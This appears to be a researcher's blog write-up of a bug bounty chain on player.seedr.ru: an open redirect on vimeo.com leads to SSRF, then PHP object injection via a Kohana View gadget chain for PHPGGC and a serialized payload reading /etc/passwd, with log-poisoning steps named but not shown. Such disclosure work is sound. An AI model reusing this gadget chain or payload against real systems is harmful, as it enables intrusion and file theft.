From open redirect to RCE in one week

Intro

Functionality that caught my attention

https://player.seedr.ru/video?vid=cpapXGq50UY&post_id=57b6ceef64225d5b0f8b456c&config=https%3A%2F%2Fseedr.com%2Fconfig%2F57975d1b64225d607e8b456e.json&hosting=youtube

Possible scenarios

  1. Fuzzing of file_get_contents() to escape vimeo.com host, achieve blind SSRF and probably unsafe deserialization;
  2. Find controlled response on vimeo.com -> probably unsafe deserialization;
  3. Find open redirect on vimeo.com -> blind SSRF -> probably unsafe deserialization.
  • 200 OK HTTP status code;
  • Available for an unauthenticated user;
  • Controlled string should be at the beginning of the response body (PHP will successfully parse something like this {VALID_SER_STRING}TRASH);
  • Controlled string should support { }, " symbols required for storing serialized objects.
  1. injection is not a valid method.
    Cons: 404 Not Found HTTP status code, doesn’t support {}, " symbols.

Open redirect

Screenshot from Harsh’s article
  • https://127.0.0.1
  • https://127.0.0.1:22
  • http://127.0.0.1:25

Deserialization

  • ̶C̶o̶n̶t̶r̶o̶l̶l̶e̶d̶ ̶i̶n̶p̶u̶t̶;̶
  • Class with magical method (__wakeup(), __destroy(), __toString(), etc.);
  • Useful for attacker functionality in magical method which can be abused for file manipulation, RCE, SQLi, etc.;
  • Class is loaded.

Kohana

ErrorException [ 2 ]: file_put_contents(/var/www/seedr.backend.v2/application/logs/2021/12/20.php): failed to open stream: No space left on device ~ SYSPATH/classes/kohana/log/file.php [ 81 ]
Vanilla Burp Suite Community can’t do this
Paradise for security tester
a:1:{i:0;a:23:{s:2:”id”;i:123456;s:5:”title”;s:30:”London Tornado — The aftermath”;s:11:”description”;a:1:{i:0;i:1337;}s:3:”url”;s:24:”https://vimeo.com/123456";s:11:"upload_date";s:19:"2006-12-14 06:53:32";s:15:”thumbnail_small”;s:111:”https://i.vimeocdn.com/video/46783763-254c2bbf4211bd6657c59e96a682169c8e74fc56e96ebb4e0a2882b103cab878-d_100x75";s:16:"thumbnail_medium";s:112:"https://i.vimeocdn.com/video/46783763-254c2bbf4211bd6657c59e96a682169c8e74fc56e96ebb4e0a2882b103cab878-d_200x150";s:15:"thumbnail_large";s:108:"https://i.vimeocdn.com/video/46783763-254c2bbf4211bd6657c59e96a682169c8e74fc56e96ebb4e0a2882b103cab878-d_640";s:7:"user_id";i:146861;s:9:"user_name";s:11:"wordtracker";s:8:"user_url";s:29:"https://vimeo.com/wordtracker";s:19:"user_portrait_small";s:51:"https://i.vimeocdn.com/portrait/defaults-blue_30x30";s:20:"user_portrait_medium";s:51:"https://i.vimeocdn.com/portrait/defaults-blue_75x75";s:19:"user_portrait_large";s:53:"https://i.vimeocdn.com/portrait/defaults-blue_100x100";s:18:"user_portrait_huge";s:53:"https://i.vimeocdn.com/portrait/defaults-blue_300x300";s:21:"stats_number_of_likes";i:11;s:21:"stats_number_of_plays";i:122560;s:24:"stats_number_of_comments";i:12;s:8:"duration";i:32;s:5:"width";i:320;s:6:"height";i:240;s:4:"tags";s:0:"";s:13:"embed_privacy";s:8:"anywhere";}}
  • Guzzle (/var/www/sentry/vendor/guzzlehttp/…)
  • Swift Mailer (MODPATH/email/vendor/swiftmailer/…)
  • Symfony (/var/www/sentry/vendor/symfony/…)
  • Mustache (MODPATH/kostache/vendor/mustache/…)
  • Sentry (/var/www/sentry/vendor/sentry/…)
public function render($file = NULL)
{
if ($file !== NULL)
{
$this->set_filename($file);
}
if (empty($this->_file))
{
throw new View_Exception('You must set the file to use within your view before rendering');
}
// Combine local and global data and capture the output
return View::capture($this->_file, $this->_data);
}
public function set_filename($file)
{
if (($path = Kohana::find_file(‘views’, $file)) === FALSE)
{
throw new View_Exception(‘The requested view :file could not be found’, array(‘:file’ => $file,));
}
// Store the file path locally
$this->_file = $path;
return $this;
}
public function render($file = NULL)
{
...
// Combine local and global data and capture the output
return View::capture($this->_file, $this->_data);
}
protected static function capture($kohana_view_filename, array $kohana_view_data)
{
// Import the view variables to local namespace
extract($kohana_view_data, EXTR_SKIP);
if (View::$_global_data)
{
// Import the global view variables to local namespace
extract(View::$_global_data, EXTR_SKIP | EXTR_REFS);
}
// Capture the view output
ob_start();
try
{
// Load the view within the current scope
include $kohana_view_filename;
}
catch (Exception $e)
{
// Delete the output buffer
ob_end_clean();
// Re-throw the exception
throw $e;
}
// Get the captured output and close the buffer
return ob_get_clean();
}
...
try
{
// Load the view within the current scope
include $kohana_view_filename;
}
...
class Kohana_View {
// Array of global variables protected static
$_global_data = array();
...
// View filename
protected $_file;
// Array of local variables
protected $_data = array();
...
}
  • I controlled the input;
  • I had a magical method __toString() of View class with a useful function include().
  • The class View was loaded.

Chaining all together

<?phpnamespace GadgetChain\Kohana;class FR1 extends \PHPGGC\GadgetChain\FileRead
{
public static $version = ‘3.*’;
public static $vector = ‘__toString’;
public static $author = ‘byq’;
public static $information = ‘include()’;
public function generate(array $parameters)
{
return new \View($parameters[‘remote_path’]);
}
}
<?phpclass View
{
protected $_file;
public function __construct($_file) {
$this->_file = $_file;
}
}
The __toString() method allows a class to decide how it will react when it is treated like a string. For example, what echo $obj; will print.
a:1:{i:0;a:23:{s:2:”id”;i:123456;s:5:”title”;s:30:”London Tornado — The aftermath”;s:11:”description”;O:4:”View”:1:{s:8:”*_file”;s:11:”/etc/passwd”;}s:3:”url”;s:24:”https://vimeo.com/123456";s:11:"upload_date";s:19:"2006-12-14 06:53:32";s:15:”thumbnail_small”;s:111:”https://i.vimeocdn.com/video/46783763-254c2bbf4211bd6657c59e96a682169c8e74fc56e96ebb4e0a2882b103cab878-d_100x75";s:16:"thumbnail_medium";s:112:"https://i.vimeocdn.com/video/46783763-254c2bbf4211bd6657c59e96a682169c8e74fc56e96ebb4e0a2882b103cab878-d_200x150";s:15:"thumbnail_large";s:108:"https://i.vimeocdn.com/video/46783763-254c2bbf4211bd6657c59e96a682169c8e74fc56e96ebb4e0a2882b103cab878-d_640";s:7:"user_id";i:146861;s:9:"user_name";s:11:"wordtracker";s:8:"user_url";s:29:"https://vimeo.com/wordtracker";s:19:"user_portrait_small";s:51:"https://i.vimeocdn.com/portrait/defaults-blue_30x30";s:20:"user_portrait_medium";s:51:"https://i.vimeocdn.com/portrait/defaults-blue_75x75";s:19:"user_portrait_large";s:53:"https://i.vimeocdn.com/portrait/defaults-blue_100x100";s:18:"user_portrait_huge";s:53:"https://i.vimeocdn.com/portrait/defaults-blue_300x300";s:21:"stats_number_of_likes";i:11;s:21:"stats_number_of_plays";i:122560;s:24:"stats_number_of_comments";i:12;s:8:"duration";i:32;s:5:"width";i:320;s:6:"height";i:240;s:4:"tags";s:0:"";s:13:"embed_privacy";s:8:"anywhere";}}

Logs

  • file upload (in my case application didn’t have such functionality);
  • logs (apache, nginx, mail, ssh, …);
  • /proc/*/fd, …;
  • session file;
Screenshot from Charlese’s article

Null bytes

Last poison

This is how victory looks

TL;DR

https://i.imgur.com/DrNEGRH.png without compression

--

--

--

https://twitter.com/ByQwert

Love podcasts or audiobooks? Learn on the go with our new app.

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
byq

byq

https://twitter.com/ByQwert

More from Medium

Insecure comparison in PHP — Business Logic Bypass vulnerability

A Curious Glitch in XSS Sanitizing

SQLi and Cheat Sheet

Hacking with Rake